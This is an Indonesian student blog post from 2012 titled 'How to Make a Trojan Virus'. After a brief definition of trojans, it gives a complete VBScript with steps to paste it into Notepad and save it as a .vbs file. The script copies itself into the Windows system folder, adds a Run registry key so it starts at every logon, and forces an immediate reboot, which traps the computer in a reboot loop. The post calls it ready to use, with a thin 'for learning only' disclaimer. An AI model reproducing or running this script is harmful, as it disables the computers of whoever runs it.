6/15/2012

Cara Membuat Trojan Virus

Kawan semua sekarang Wira mau ngasih tau gimana caranya buat bikin Virus Trojan atau Trojan Virus...
sebelum kita bikin Virusnya kita juga mesti tau dulu apa itu Trojan Virus, lah mungkin bagi Programer handal ini gak penting tapi buat para pemula, artikel ini wajib dimengerti...

Trojan Virus
adalah software atau program yang masuk ke komputer tepatnya ke daerah sistemnya sekaligus melakukan tindakan Jahat.Trojan cenderung tidak menginfeksi atau merusak data atau system seperti yang di lakukan virus, tetapi memodifikasi file system.

Tak jarang Trojan juga melakukan Social Engineering terhadap user. Penyebaran Trojan biasanya melalui website.

Trojan cenderung melakukan control atau remote terhadap system. Salah satu contoh Trojan adalah merekam semua aktifitas sa’at bekerja dengan komputer atau mengontrol system supaya melakukan tindakan yang di perintahkan Trojan.

dan mungkin dalam sejarah Yunani Kuno juga ada ya Trojan ini, nah tidak jauh beda dengan Virus ini. Yasudah sekarang kita mulai Buat Virusnya Cekiidoottt....

Cara Membuat Trojan Virus 
1. Langkah pertama yang harus dilakukan adalah Buka Notepad kamu biasanya ada di Start>>All Programs>>Accesories>>Notepad.
2. Selanjutnya Paste Script Virusnya ke Notepad
ini Scriptnya :


rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

3. Setelah di Paste ke Notepad lalu Save As>>ganti typenya ke All Files>>beri nama Virusnya dengan akhiran .vbs (extensi .vbs) lalu Virus akan langsung bereaksi dan jika tidak mau bereaksi jangan beri extensi .vbs(misalkan : virus_wira.vbs) biarkan extensinya menjadi .txt
 4. Selesai dan siap digunakan.

Ingat : ini hanya untuk belajar bukan untuk disalah gunakan.

Terimakasih sudah membaca ^_^

Mengenai Saya

Foto saya
Saya Wirayudha Teguh, saya seorang pelajar di SMK Al-Wafa Bandung, dalam jurusan Multimedia. Cita-cita saya menjadi seorang Presiden. selain itu saya ingin mengubah Negara ini menjadi yang terbaik walau itu sulit.